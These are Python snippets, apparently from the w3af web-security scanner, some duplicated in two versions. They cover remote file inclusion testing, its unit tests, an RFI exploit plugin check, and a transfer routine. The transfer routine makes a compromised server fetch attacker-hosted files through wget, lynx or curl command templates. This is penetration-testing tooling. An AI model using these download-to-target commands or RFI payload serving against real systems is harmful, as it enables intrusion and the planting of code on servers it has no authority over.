def transfer(self, data_str, destination): """ This method is used to transfer the data_str from w3af to the compromised server. """ if not self._command: self.can_transfer() commandTemplates = {} commandTemplates['wget'] = 'wget http://%s:%s/%s -O %s' commandTemplates['lynx'] = 'lynx -source http://%s:%s/%s > %s' commandTemplates['curl'] = 'curl http://%s:%s/%s > %s' # Create the file filename = rand_alpha(10) file_path = get_temp_dir() + os.path.sep + filename f = file(file_path, 'w') f.write(data_str) f.close() # Start a web server on the inbound port and create the file that # will be fetched by the compromised host webserver.start_webserver(cf.cf.get('local_ip_address'), self._inbound_port, get_temp_dir()) commandToRun = commandTemplates[self._command] % \ (cf.cf.get('local_ip_address'), self._inbound_port, filename, destination) self._exec_method(commandToRun) os.remove(file_path) return self.verify_upload(data_str, destination)
def _local_test_inclusion(self, freq, orig_response): """ Check for RFI using a local web server :param freq: A FuzzableRequest object :return: None, everything is saved to the kb """ # # The listen address is an empty string when I have no default route # # Only work if: # - The listen address is private and the target address is private # - The listen address is public and the target address is public # if not self._listen_address: return is_listen_priv = is_private_site(self._listen_address) is_target_priv = is_private_site(freq.get_url().get_domain()) if (is_listen_priv and is_target_priv) or \ not (is_listen_priv or is_target_priv): msg = 'RFI using local web server for URL: %s' % freq.get_url() om.out.debug(msg) try: # Create file for remote inclusion php_jsp_code, rfi_data = self._create_file() # Setup the web server handler to return always the same # response body. This is important for the test, since it might # be the case that the web application prepends/appends # something to the URL being included, and we don't want to fail # there! # # Also, this allows us to remove the payloads we sent with \0 # which tried to achieve the same result. RFIWebHandler.RESPONSE_BODY = php_jsp_code # Start web server # # No real webroot is required since the custom handler returns # always the same HTTP response body webroot = '.' webserver.start_webserver(self._listen_address, self._listen_port, webroot, RFIWebHandler) # Perform the real work self._test_inclusion(freq, rfi_data, orig_response) except Exception, e: msg = 'An error occurred while running local web server for' \ ' the remote file inclusion (rfi) plugin: "%s"' om.out.error(msg % e)
def _local_test_inclusion(self, freq, orig_response, debugging_id): """ Check for RFI using a local web server :param freq: A FuzzableRequest object :return: None, everything is saved to the kb """ # # The listen address is an empty string when I have no default route # # Only work if: # - The listen address is private and the target address is private # - The listen address is public and the target address is public # if not self._listen_address: return is_listen_priv = is_private_site(self._listen_address) is_target_priv = is_private_site(freq.get_url().get_domain()) if (is_listen_priv and is_target_priv) or \ not (is_listen_priv or is_target_priv): msg = 'RFI using local web server for URL: %s' % freq.get_url() om.out.debug(msg) try: # Create file for remote inclusion php_jsp_code, rfi_data = self._create_file() # Setup the web server handler to return always the same # response body. This is important for the test, since it might # be the case that the web application prepends/appends # something to the URL being included, and we don't want to fail # there! # # Also, this allows us to remove the payloads we sent with \0 # which tried to achieve the same result. RFIWebHandler.RESPONSE_BODY = php_jsp_code # Start web server # # No real webroot is required since the custom handler returns # always the same HTTP response body webroot = '.' webserver.start_webserver(self._listen_address, self._listen_port, webroot, RFIWebHandler) # Perform the real work self._test_inclusion(freq, rfi_data, orig_response, debugging_id) except Exception, e: msg = 'An error occurred while running local web server for' \ ' the remote file inclusion (rfi) plugin: "%s"' om.out.error(msg % e)
def setUp(self): self.tempdir = tempfile.gettempdir() for port in xrange(self.PORT, self.PORT + 15): try: start_webserver(self.IP, port, self.tempdir) except: pass else: self.PORT = port break
def test_custom_web_server(self): RFIWebHandler.RESPONSE_BODY = '<? echo "hello world"; ?>' webserver.start_webserver( '127.0.0.1', REMOTEFILEINCLUDE, '.', RFIWebHandler) response_foobar = urllib2.urlopen( 'http://localhost:44449/foobar').read() response_spameggs = urllib2.urlopen( 'http://localhost:44449/spameggs').read() self.assertEqual(response_foobar, response_spameggs) self.assertEqual(response_foobar, RFIWebHandler.RESPONSE_BODY)
def test_custom_web_server(self): RFIWebHandler.RESPONSE_BODY = '<? echo "hello world"; ?>' webserver.start_webserver('127.0.0.1', REMOTEFILEINCLUDE, '.', RFIWebHandler) response_foobar = urllib2.urlopen( 'http://localhost:44449/foobar').read() response_spameggs = urllib2.urlopen( 'http://localhost:44449/spameggs').read() self.assertEqual(response_foobar, response_spameggs) self.assertEqual(response_foobar, RFIWebHandler.RESPONSE_BODY)
def can_exploit(self, vuln_to_exploit=None): """ Searches the kb for vulnerabilities that this plugin can exploit, this is overloaded from AttackPlugin because I need to test for xss vulns also. This is a "complex" plugin. :param vuln_to_exploit: The id of the vulnerability to exploit. :return: True if plugin knows how to exploit a found vuln. """ if not self._listen_address and not self._use_XSS_vuln: msg = 'You need to specify a local IP address where w3af can bind'\ ' an HTTP server that can be reached by the vulnerable Web'\ ' application.' om.out.error(msg) return False rfi_vulns = kb.kb.get('rfi', 'rfi') if vuln_to_exploit is not None: rfi_vulns = [v for v in rfi_vulns if v.get_id() == vuln_to_exploit] if not rfi_vulns: return False # # Ok, I have the RFI vulnerability to exploit, but... is the # plugin configured in such a way that exploitation is possible? # usable_xss = False if self._use_XSS_vuln: usable_xss = self._verify_xss_vuln() # Using the good old webserver (if properly configured) if not self._listen_address and not usable_xss: msg = 'You need to specify a local IP address where w3af can'\ ' bind an HTTP server that can be reached by the'\ ' vulnerable Web application.' om.out.error(msg) return False if self._listen_address and self._listen_port: # Start local webserver, raise an exception if something # fails webroot_path = os.path.join(get_home_dir(), 'webroot') try: webserver.start_webserver(self._listen_address, self._listen_port, webroot_path) except socket.error, se: msg = 'Failed to start the local web server to exploit the'\ ' RFI vulnerability, the exception was: "%s".' om.out.error(msg % se) return False
def transfer(self, data_str, destination): """ This method is used to transfer the data_str from w3af to the compromised server. """ if not self._command: self.can_transfer() cmd_templates = { "wget": "wget http://%s:%s/%s -O %s", "lynx": "lynx -source http://%s:%s/%s > %s", "curl": "curl http://%s:%s/%s > %s", } # Create the file filename = rand_alpha(10) file_path = get_temp_dir() + os.path.sep + filename f = file(file_path, "w") f.write(data_str) f.close() # Start a web server on the inbound port and create the file that # will be fetched by the compromised host webserver.start_webserver(cf.cf.get("local_ip_address"), self._inbound_port, get_temp_dir()) cmd_to_run = cmd_templates[self._command] % ( cf.cf.get("local_ip_address"), self._inbound_port, filename, destination, ) self._exec_method(cmd_to_run) os.remove(file_path) return self.verify_upload(data_str, destination)